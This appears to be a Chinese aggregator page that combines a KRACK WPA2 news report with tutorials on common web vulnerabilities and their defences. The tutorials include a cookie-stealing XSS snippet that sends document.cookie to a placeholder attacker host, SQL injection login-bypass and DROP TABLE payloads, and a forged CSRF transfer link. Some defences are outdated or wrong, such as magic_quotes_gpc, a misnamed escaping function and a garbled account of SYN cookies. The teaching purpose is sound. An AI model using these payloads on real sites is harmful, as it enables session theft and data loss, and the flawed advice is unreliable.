    这类安全缺陷存在于 Wi-Fi 标准的本身,而非特定的某些产品或方案中。因此,即使是得到正确部署的 WPA2 同样有可能受到影响。即只要是设备支持 Wi-Fi,则都可能会收到影响。在初步研究中发现,Android 和 Linux 显得尤为脆弱,同时封闭的苹果操作系统 iOS 和 macOS 也难逃厄运,此外 Windows、OpenBSD、联发科技、Linksys 等无线产品都会受到一定程度的影响。

    攻击原理

    攻击的原理是利用设备加入 Wi-Fi 网络时所用的通信。一共有四个步骤,第一步确认设备正在使用正确的路由器 Wi-Fi 密码,然后同意一个用于连接期间发送所有数据的加密密钥。 而黑客可以利用重新安装攻击漏洞,诱导用户重新安装已经使用过的密钥。具体实现方法是操纵并重播密码握手消息。当受害者重新安装密钥时,增量发送分组号(即随机数)以及接收分组号(即重播计数器)等相关参数将被重置为初始值。

    从本质上来讲,为了保证安全性,每条密钥只能安装并使用一次。遗憾的是,我们发现 WPA2 协议当中并不包含这一强制要求。Vanhoef 表示漏洞存在于 WPA2 协议的四路握手(four-way handshake)机制中,四路握手允许拥有预共享密码的新设备加入网络。而通过操纵加密握手过程,我们将能够在实践当中利用这一致命缺陷。

    在最糟糕的情况下,攻击者可以利用漏洞从 WPA2 设备破译网络流量、劫持链接、将内容注入流量中。换言之,攻击者通过漏洞可以获得一个万能密钥,不需要密码就可以访问任何 WAP2 网络。一旦拿到密钥,他们就可以窃听你的网络信息。

    漏洞的存在意味着 WAP2 协议完全崩溃,影响个人设备和企业设备,几乎每一台无线设备都受到威胁。

    如何降低被攻击的风险

    如文章开头所述,任何使用 Wi-Fi 的设备都有可能面临这一安全风险。

    现在变更 Wi-Fi 网络的密码并不能避免(或者缓解)此类攻击。因此,用户不需要对 WiFi 网络的密码进行更新。相反,大家应当确保全部设备皆进行更新,并应更新自己的路由器固件。在路由器更新完毕后,还应选择性地变更 WiFi 密码以作为额外预防手段。

    在不安全的网络时代,也许可从一些事实中寻求些许的安慰。本次攻击手段面向四次握手,且不会利用接入点——而是主要指向客户端。黑客只能解密通过 Wi-Fi 连接本身加密的数据,如果你正在访问安全网站,该数据仍会通过 HTTPS 协议进行加密,在此也建议浏览网页时,尽量选择 HTTPS 站点。但是,不排除攻击者可能会针对 HTTPS 进行单独攻击。

    最后,在漏洞尚未修复之前,对于普通手机用户来说,使用支付宝、微信支付、网银的时候,建议大家还是尽量使用蜂窝移动网络,外出远行,提前办好流量套餐,有效避免黑客攻击。

    对于漏洞的回应

    事实上,周一时,美国国土安全局网络应急部门 US-CERT 确认了漏洞的存在,而早在 2 个月前,US-CERT 已经秘密通知相关的厂商和专家,告诉它们存在这样的漏洞。

    针对 KRACK 漏洞,如今各大企业回应:

    • 苹果 iOS 和 Mac: 苹果证实安全漏洞将会在 iOS、macOS、watchOS、tvOS 的下一个软件更新的测试版本中得到解决,在未来几周内就会通过软件升级的形式提供给用户。

    • 微软: 微软于 10 月 10 日发布安全补丁,使用 Windows Update 的客户可以使用补丁,自动防卫。我们及时更新,保护客户,作为一个负责任的合作伙伴,我们没有披露信息,直到厂商开发并发布补丁。

    • 谷歌移动/谷歌Chromecast/ Home/ Wi-Fi: 我们已经知道问题的存在,未来几周会给任何受影响的设备打上补丁。

    • 谷歌 Chromebook: 暂时没有发表评论。

    • 亚马逊 Echo、FireTV 和 Kindle: 我们的设备是否存在这样的漏洞?公司正在评估,如果有必要就会发布补丁。

    • 三星移动、三星电视、三星家电: 暂时没有发表评论。

    • 思科: 暂时没有发表评论。

    • Linksys/Belkin: Linksys/Belkin 和 Wemo 已经知道 WAP 漏洞的存在。安全团队正在核查细节信息,会根据情况提供指导意义。我们一直将客户放在第一位,会在安全咨询页面发布指导意见,告诉客户如何升级产品,如果需要就能升级。

    • Netgear: Netgear 已经为多款产品发布修复程序,正在为其它产品开发补丁。你可以访问我们的安全咨询页面进行升级。为了保护用户,Netgear 公开发布修复程序之后才披露漏洞的存在,没有提到漏洞的具体信息。一旦有了修复程序,Netgear 会通过“Netgear 产品安全”页面披露漏洞。

    • Eero: 我们已经知道 WAP2 安全协议存在 KRACK 漏洞。安全团队正在寻找解决方案,今天晚些时候就会公布更多信息。我们打造了云系统,针对此种情况可以发布远程更新程序,确保所有客户及时获得更新软件,自己不需要采取任何动作。

    • 英特尔: 英特尔正在与客户、设备制造商合作,通过固件和软件更新的方式应对漏洞。如果想获得更多信息,可以访问英特尔安全咨询页面。

    • Nest: 我们已经知道漏洞的存在,未来几周将会为 Nest 产品推出补丁。

    • 飞利浦 Hue: KRACK 攻击利用了 Wi-Fi 协议。我们建议客户使用安全 Wi-Fi 密码,在手机、计算机及其它 Wi-Fi 设备上安装最新补丁,防范此类攻击。飞利浦 Hue 本身并不直接支持 WiFi,因此不需要防范补丁。还有,我们的云帐户 API 可以用 HTTPS 进行保护,增强安全,这是一个额外的安全层,不会受到 KRACK 攻击的影响。

    关于 KRACK 详细内容介绍和视频演示详见 krackattacks.com 官网:https://www.krackattacks.com

    展开全文
  • web常见安全漏洞

    万次阅读 2018-09-08 10:04:25
    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。...黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞...

    原文地址: https://www.cnblogs.com/yzycoder/p/5741507.html

    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。Web业务的迅速发展吸引了黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这使得越来越多的用户关注应用层的安全问题,Web应用安全的关注度也逐渐升温。

    本文从目前比较常见攻击方式入手,对过去一些经典方式进行学习和总结,希望能让大家对Web的安全有更清晰的认识。在阅读本文之前,小伙伴们需要对HTTP和TCP协议、SQL数据库、JavaScript有所了解哦。
    废话不多说,下面开始我们的Web安全之旅吧!
    DoS和DDoS攻击
    DoS(Denial of Service),即拒绝服务,造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
    为了进一步认识DoS攻击,下面举个简单的栗子来进行说明:

    图1 TCP三次握手:数据段互换

    Client发送连接请求报文,Server接受连接后回复ACK报文,并为这次连接分配资源。Client接收到ACK报文后也向Server发送ACK报文,并分配资源,这样TCP连接就建立了。前两次握手,是为了保证服务端能收接受到客户端的信息并能做出正确的应答;后两次握手,是为了保证客户端能够接收到服务端的信息并能做出正确的应答。建立完TCP三次握手后,Client就可以和Web服务器进行通信了。
    在DoS攻击中,攻击者通过伪造ACK数据包,希望Server重传某些数据包,Server根据TCP重转机制,进行数据重传。攻击者利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。实现方式如下图:

    图2 攻击者伪造ACK数据包,发送大量的半连接请求

    Web服务器在未收到客户端的确认包时,会重发请求包一直到链接超时,才将此条目从未连接队列删除。攻击者再配合IP欺骗,SYN攻击会达到很好的效果。通常攻击者在短时间内伪造大量不存在的IP地址,向服务器不断地发送SYN包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN 请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
    SYN攻击的问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的,从而导致第三次握手无法完成。在这种情况下服务器端一般会重试,即再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级,大约为30秒到2分钟。一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即数以万计的半连接,将会对服务器的CPU和内存造成极大的消耗。若服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃。实际上,就算服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,导致用户的正常请求失去响应。
    对于该类问题,我们可以做如下防范:
    第一种是缩短SYN Timeout时间,及时将超时请求丢弃,释放被占用CPU和内存资源。
    第二种是限制同时打开的SYN半连接数目,关闭不必要的服务。
    第三种方法是设置SYN Cookie,给每一个请求连接的IP地址分配一个Cookie。如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。
    一般来说,第三种方法在防范该类问题上表现更佳。同时可以在Web服务器端采用分布式组网、负载均衡、提升系统容量等可靠性措施,增强总体服务能力。
    DDoS(Distributed Denial of Service,分布式拒绝服务)是DoS攻击的一种方法。攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。DDoS的攻击策略侧重于通过很多“僵尸主机”,向受害主机发送大量看似合法的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。

    图3 DDoS攻击创建“僵尸主机”的过程

    从上图可知,DDOS是利用一批受控制的僵尸主机向一台服务器主机发起的攻击,其攻击的强度和造成的威胁要比DOS严重很多,更具破坏性。
    对于DDoS攻击,我们可以做如下防范:
    (1) 反欺骗:对数据包的地址及端口的正确性进行验证,同时进行反向探测。
    (2) 协议栈行为模式分析:每个数据包类型需要符合RFC规定,这就好像每个数据包都要有完整规范的着装,只要不符合规范,就自动识别并将其过滤掉。
    (3) 特定应用防护:非法流量总是有一些特定特征的,这就好比即便你混进了顾客群中,但你的行为还是会暴露出你的动机,比如老重复问店员同一个问题,老做同样的动作,这样你仍然还是会被发现的。
    (4) 带宽控制:真实的访问数据过大时,可以限制其最大输出的流量,以减少下游网络系统的压力。
    CSRF攻击CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。下面先介绍一下CSRF攻击的原理。

    图4 CSRF攻击过程的示例图

    受害者用户登录网站A,输入个人信息,在本地保存服务器生成的cookie。攻击者构建一条恶意链接,例如对受害者在网站A的信息及状态进行操作,典型的例子就是转账。受害者打开了攻击者构建的网页B,浏览器发出该恶意连接的请求,浏览器发起会话的过程中发送本地保存的cookie到网址A,A网站收到cookie,以为此链接是受害者发出的操作,导致受害者的身份被盗用,完成攻击者恶意的目的。
    举个简单的例子来说明下CSRF的危害。用户登陆某银行网站,以Get请求的方式完成到另一银行的转账,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻击者可构造另一危险链接http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把该链接通过一定方式发给受害者用户。受害者用户若在浏览器打开此链接,会将之前登陆后的cookie信息一起发送给银行网站,服务器在接收到该请求后,确认cookie信息无误,会完成改请求操作,造成攻击行为完成。攻击者可以构造CGI的每一个参数,伪造请求。这也是存在CSRF漏洞的最本质原因。
    对于CSRF攻击,我们可以做如下防范:
    (1) 验证码。应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制CSRF攻击。
    但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。
    (2) Referer Check。HTTP Referer是header的一部分,当浏览器向web服务器发送请求时,一般会带上Referer信息告诉服务器是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律,如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面,来判断是不是CSRF攻击。
    但在某些情况下如从https跳转到http,浏览器处于安全考虑,不会发送referer,服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞,那么攻击者可以在其他网站注入恶意脚本,受害者进入了此类同域的网址,也会遭受攻击。出于以上原因,无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。
    (3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。
    这种方法相比Referer检查要安全很多,token可以在用户登陆后产生并放于session或cookie中,然后在每次请求时服务器把token从session或cookie中拿出,与本次请求中的token 进行比对。由于token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时,当某个页面消耗掉token后,其他页面的表单保存的还是被消耗掉的那个token,其他页面的表单提交时会出现token错误。
    XSS攻击
    XSS(Cross Site Scripting),跨站脚本攻击。为和层叠样式表(Cascading Style Sheets,CSS)区分开,跨站脚本在安全领域叫做“XSS”。恶意攻击者往Web页面里注入恶意Script代码,当用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取cookie信息、会话劫持等各种攻击。XSS是常见的Web攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被OWASP列为当前的头号Web安全威胁。

    图5 XSS攻击过程的示例图

    XSS跨站脚本攻击本身对Web服务器没有直接的危害,它借助网站进行传播,使网站上大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。
    根据XSS攻击的效果,可以将XSS分为3类:
    (1) 反射型XSS(Non-persistent XSS),服务器接受客户端的请求包,不会存储请求包的内容,只是简单的把用户输入的数据“反射”给浏览器。例如:www.a.com?xss.php?name=

    。访问这个链接则会弹出页面的cookie内容,若攻击者把alert改为一个精心构造的发送函数,就可以把用户的cookie偷走。 (2) 存储型XSS(Persistent XSS),这类XSS攻击会把用户输入的数据“存储”在服务器端,具有很强的稳定性。注入脚本跟反射型XSS大同小异,只是脚本不是通过浏览器à服务器à浏览器这样的反射方式,而是多发生在富文本编辑器、日志、留言、配置系统等数据库保存用户输入内容的业务场景。即用户的注入脚本保存到了数据库里,其他用户进行访问涉及到包含恶意脚本的链接都会中招。由于这段恶意的脚本被上传保存到了服务器,这种XSS攻击就叫做“存储型XSS”。例如: 服务器端代码:
    <?php $db.set(‘name’, $_GET[‘name’]);?>

    HTML页面代码

    <?php echo ‘Hi,’ . $db.get[‘name’];?>

    图6 存储型XSS攻击过程的示例图

    (3) DOM based XSS(Document Object Model XSS),这类XSS攻击者将攻击脚本注入到DOM 结构里。出现该类攻击的大多原因是含JavaScrip静态HTML页面存在XSS漏洞。例如下面是一段存在DOM类型跨站脚本漏洞的代码:

    在JS中window.location.search是指URL中?之后的内容,document.write是将内容输出到页面。这时把链接换成http://localhost/test.php?default=
    那用户的cookie就被盗了。上面的例子只是很简单的一种,总结起来是使用了诸如document.write, innerHTML之类的渲染页面方法需要注意参数内容是否是可信任的。
    XSS攻击的危害,可以将XSS分为3类:
    (1) 窃取用户信息。黑客可以利用跨站脚本漏洞盗取用户cookie而得到用户在该站点的身份权限。如在DOM树上新增图片,用户点击后会将当前cookie发送到黑客服务器:
    vari=document.createElement(“img”);
    document.body.appendChild(i);
    i.src = “http://www.hackerserver.com/?c=” + document.cookie;
    (2) 劫持浏览器会话来执行恶意操作,如进行非法转账、强制发表日志或电子邮件等。
    (3) 强制弹广告页,刷流量和点击率。
    (4) 传播跨站脚本蠕虫。如著名的Samy (XSS)蠕虫攻击、新浪微博蠕虫攻击。
    对于XSS攻击,我们可以做如下防范:
    (1) 输入过滤。永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等。这样可以初步对XSS漏洞进行防御。
    上面的措施只在web端做了限制,攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制,修改请求注入攻击脚本。因此,后台服务器需要在接收到用户输入的数据后,对特殊危险字符进行过滤或者转义处理,然后再存储到数据库中。
    (2) 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。
    (3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作,同时要避免使用客户端数据,这些操作需尽量在服务器端使用动态页面来实现。
    (4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。
    (5)WAF(Web Application Firewall),Web应用防火墙,主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发,在企业环境中深受欢迎。
    SQL注入攻击
    SQL注入(SQL Injection),应用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)时,攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    在了解SQL注入前,我们先认识下常用的Web的四层架构图组成:

    图7 Web四层架构示例图

    SQL注入常见产生的原因有:
    (1) 转义字符处理不当。特别是输入验证和单引号处理不当。用户简单的在url页面输入一个单引号,就能快速识别Web站点是否易收到SQL注入攻击。
    (2) 后台查询语句处理不当。开发者完全信赖用户的输入,未对输入的字段进行判断和过滤处理,直接调用用户输入字段访问数据库。(3) SQL语句被拼接。攻击者构造精心设计拼接过的SQL语句,来达到恶意的目的。如构造语句:select * from users where userid=123; DROP TABLE users;直接导致user表被删除。
    SQL注入常见的注入方式有:
    (1) 内联SQL注入。向查询注入一些SQL代码后,原来的查询仍然会全部执行。内联SQL注入包含字符串内联SQL注入和数字内联SQL注入。注入方式如下图:

    图8 内联SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如如下的用户登陆页面:

    图9 有SQL注入风险的用户登陆示例图

    (a) 攻击者可在username字段中注入 ’ or ‘1’=’1’ or ‘1’=’1,password保持为空:
    SELECT * FROM login_tbl WHERE username = ’ ’ or ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在password字段,输入’ or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ’ ’ AND userpwd= ’ ’ or ‘1’=’1 ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (c) 攻击者可在username字段中注入 admin’ and 1=1 or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ‘admin’ and ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的字符串内联注入的特征值如下:

    图10 字符串内联注入的特征值

    常见的数字值内联注入的特征值如下:

    图11 数字值内联注入的特征值

    (2) 终止式SQL注入。攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。注入方式如下图:

    图12 终止式SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如图9的用户登陆页面:
    (a) 攻击者可在username字段中注入 ’ or 1=1; –,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; – ’ and userpwd=”
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在username字段中注入 admin’ –,或者admin’ #,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –’ and userpwd=”
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    (c) 攻击者可在username字段中注入 admin’ /,password输入/’:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /’ and userpwd=’/”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的终止式SQL注入的特征值如下:

    图13 终止式SQL注入的特征值

    对于SQL注入攻击,我们可以做如下防范:
    (1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off,防止php脚本出错之后,在web页面输出敏感信息错误,让攻击者有机可乘。
    (2) 数据转义。设置php.ini选项magic_quotes_gpc=on,它会将提交的变量中所有的’(单引号),”(双引号),(反斜杠),空白字符等都在前面自动加上\。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。
    (3) 增加黑名单或者白名单验证。白名单验证一般指,检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指,若在用户输入中,包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时,一般会配合黑名单验证。
    文件上传漏洞
    上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。
    文件上传漏洞的原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
    对于文件上传漏洞攻击,我们可以做如下防范:
    (1)检查服务器是否判断了上传文件类型及后缀。
    (2) 定义上传文件类型白名单,即只允许白名单里面类型的文件上传。
    (3) 文件上传目录禁止执行脚本解析,避免攻击者进行二次攻击。
    Info漏洞
    Info漏洞就是CGI把输入的参数原样输出到页面,攻击者通过修改输入参数而达到欺骗用户的目的。

    Info漏洞存在的3个主要原因有:
    1)CGI参数可以在页面显示。
    2)返回的页面具有很强的欺骗性。
    3)该页面是对所有用户是公开,可访问的。
    Info漏洞的主要危害在于,若在访问量较大的公开页面,如网购、微博或新闻网站,发布反动的政治言论或其他色情词汇等。一方面会影响用户对网购业务的信心,同时也会给网站带来一些政治风险。另外,若是发布欺骗信息,如中奖、彩票等,也会对一些用户造成财产损失。
    对于Info漏洞攻击,将为常见的就是建立脏词库。
    即对于晒单,评论,昵称等可以被其他用户访问到的地方,进行脏词过滤。对用户的输入词汇,与脏词库中的词汇进行匹配,过滤掉有与脏词库相同的词汇。对于一些面向用户自己的,而其他用户不能看到的页面。可以不对其做脏词处理。
    介绍就到这里啦,我们一起来做个总结吧:Web安全是我们必须关注且无法逃避的话题,本文介绍了一些比较典型的安全问题和应对方案。例如对于SQL,XSS等注入式攻击,我们一定要对用户输入的内容进行严格的过滤和审查,这样可以避免绝大多数的注入式攻击方式。对于DoS攻击我们就需要使用各种工具和配置来减轻危害,另外容易被DDoS攻击的还有HTTPS服务,我们要做好特定的应用防护和用户行为模式分析。所以在日常的开发和测试过程中,我们要时常提醒自己,写出的代码有没有可能被人攻击?或者思考若我是一个攻击者,我该怎么做才可以达到我的攻击效果呢?只有这样知己知彼后,方可百战百胜!

    展开全文
  • 常见安全漏洞

    千次阅读 2016-12-19 14:06:29
    常见安全漏洞
     1 SQL注入

    许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection ,即SQL注入。
    其主要危害有:在未经授权状况下操作数据库中的数据;恶意篡改网页内容;私自添加系统帐号或者是数据库使用者帐号;网页挂木马等。

    SQL注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。通常在设计存在缺陷的程序中,对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。

    2 XSS

    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
    其主要危害有:攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。

    发生在客户端DOM(Document Object Model文档对象模型)DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不需要提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞


    3 信息泄露


    信息泄露是指应用程序泄露应该保密的信息,例如客户端注释中泄露敏感信息、系统日志泄露敏感信息等。这些泄露的信息可能会对攻击者进一步了解应用程序,以致攻击应用程序提供一定的帮助。

    用户认证信息明文传输: 用户认证信息不是通过https加密信道传输,导致用户名密码等敏感信息泄露。

    4 越权漏洞

    越权漏洞是指由于应用程序未正确实现授权功能,造成用户可以执行其没有资格执行的操作,包括可以查看或修改他本身没资格查看或修改的资源,以及可以执行用户本身没有的功能。


    5 暴力破解

    暴力破解是一种针对于密码的破译方法,即将密码进行逐个推算直到找出真正的密码为止。攻击者利用该漏洞可以破解存在该漏洞的应用程序的用户密码。


    6 文件上传漏洞

    文件上传漏洞是由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。恶意攻击者利用该漏洞可以直接向服务器上传一个 webshell( 又称 ASP 木马、PHP 木马等即利用服务器端的文件操作语句写成的动态网页,可以用来编辑你服务器上的文件 ),从而控制该网站。


    7 CSRF

    跨站请求伪造(CSRF)是 Web 应用程序一种常见的漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在大量 Web 2.0 技术的应用的背景下,CSRF 攻击完全可以在用户法毫无察觉的情况下发起攻击。发起的目标都是通过伪造一个用户请求,该请求不是用户想发出去的请求,而对服务器或服务来说这个请求是完全合法的一个请求,但是却完成了一个攻击者所期望的操作,比如添加一个用户到管理者的群组中,或将一个用户的现金转到另外的一个帐户中。


    8 路径遍历漏洞

    许多功能强迫Web应用程序根据用户在请求中提交的参数向文件系统读取或写入数据。如果以不安全的方式执行这些操作,攻击者就可以提交专门设计的输入,使得应用程序访问开发者并不希望他访问的文件,这就是路径遍历漏。攻击者可利用这种缺陷读取密码和应用程序日志之类的敏感数据,或者复写安全性至关重要的数据项,如配置文件和软件代码。在最为严重的情况下,这种漏洞可使攻击者能够完全攻破应用程序与基础操作系统。


    9 服务器开启了不安全的http方法

    OPTIONS方法是用于请求获得由Request-URI标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以在采取具体资源请求之前,决定对该资源采取何种必要措施,或者了解服务器的性能。开启该方法有可能泄漏一些敏感信息,为攻击者发起进一步攻击提供信息。

    TRACE_Method是HTTP(超文本传输)协议定义的一种协议调试方法,该方法会使服务器原样返回任意客户端请求的任何内容。由于该方法会原样返回客户端提交的任意数据,因此可以用来进行跨站脚本(简称XSS)攻击,这种攻击方式又称为跨站跟踪攻击(简称XST)。

    展开全文
  • vnc安全漏洞

    千次阅读 2017-07-12 14:08:12
    查看进程:ps -ef|grep -i vnc ,然后关掉 service vnc status  service vnc stop
  • 安全漏洞分类

    千次阅读 2013-05-16 16:52:55
    漏洞是在硬件、软件、协议的具体实现或系统安全策略上(主要是人为)存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。 分类 1. 从数据角度看分为 ●能读按理不能读的数据,包括...
  • 绿坝安全漏洞

    千次阅读 2009-06-20 23:51:00
    http://www.cse.umich.edu/~jhalderm/pub/gd/来源:Solidot密歇根大学研究人员今日发布了一份绿坝的分析报告,报告中指出了一些绿坝的安全隐患,包括一个可以被远程利用的栈溢出漏洞。这三名研究人员分别是密歇根...
  • Gmail 安全漏洞

    千次阅读 2004-11-03 12:15:00
    几天前听说 Gmail 出现安全安全漏洞,以色列新闻网站Nana报道黑客只要通过一个16进制XSS链接即可盗取用户的“cookie”文件。 然后,黑客可以利用该文件伪装成原始登录用户,从而成功入侵该帐户,而且即使用户在退出...
  • 发现 URL Scheme 存在安全漏洞

    千次阅读 2018-01-29 15:30:34
    昨天在一个 App 中购买订阅(App 内购),当我...于是把手机上的“云南移动”给卸载了,果然支付宝就支付成功了。 本来 iOS 的 URL Scheme 是为方便 App之间调用传参而设计的。我们可以通过一个 openURL 方法来打开指
  • WEB安全漏洞之javascript版本漏洞

    千次阅读 2019-05-20 10:14:34
    漏洞说明 在用webinspect或者appscan等工具扫描项目的时候,js版本漏洞(版本过低)是其中比较常见的一个。漏洞说明为:项目使用了存在漏洞的jquery版本,可能会导致跨站脚本攻击(XSS)。 修复该漏洞的方法为更新...
  • 宝塔紧急安全漏洞

    千次阅读 2020-08-23 20:59:26
    2020年8月23日晚间,宝塔官方紧急推送安全更新,修复了一处在7.4.2版本中的高危漏洞,攻击者可利用此漏洞越权访问数据库,甚至获取服务器权限。 2、漏洞影响版本 版本7.4.2 3、漏洞危害 此版本宝塔面板在部署...
  • 0x01 简介 代码审计,大家估计见到最多的一般是web程序的代码审计。然而c/c++这种语言的代码审计估计就很少了。 今天我们要来学习一下,工欲善其事必先利其器,今天介绍一款审计的利器Flawfinder(当然同类的还有...
  • 网络安全之安全漏洞杂谈

    千次阅读 2006-12-13 12:28:00
    蠕虫、黑客攻击问题都和漏洞紧密联系在一起,一旦有重大安全漏洞出现,整个互联网就会面临一次重大挑战。虽然传统木马和安全漏洞关系不大,但最近很多木马都巧妙的利用了IE的漏洞,让你在浏览网页时不知不觉的就中了...
  • iOS出现了严重的安全漏洞

    千次阅读 2011-07-29 01:18:28
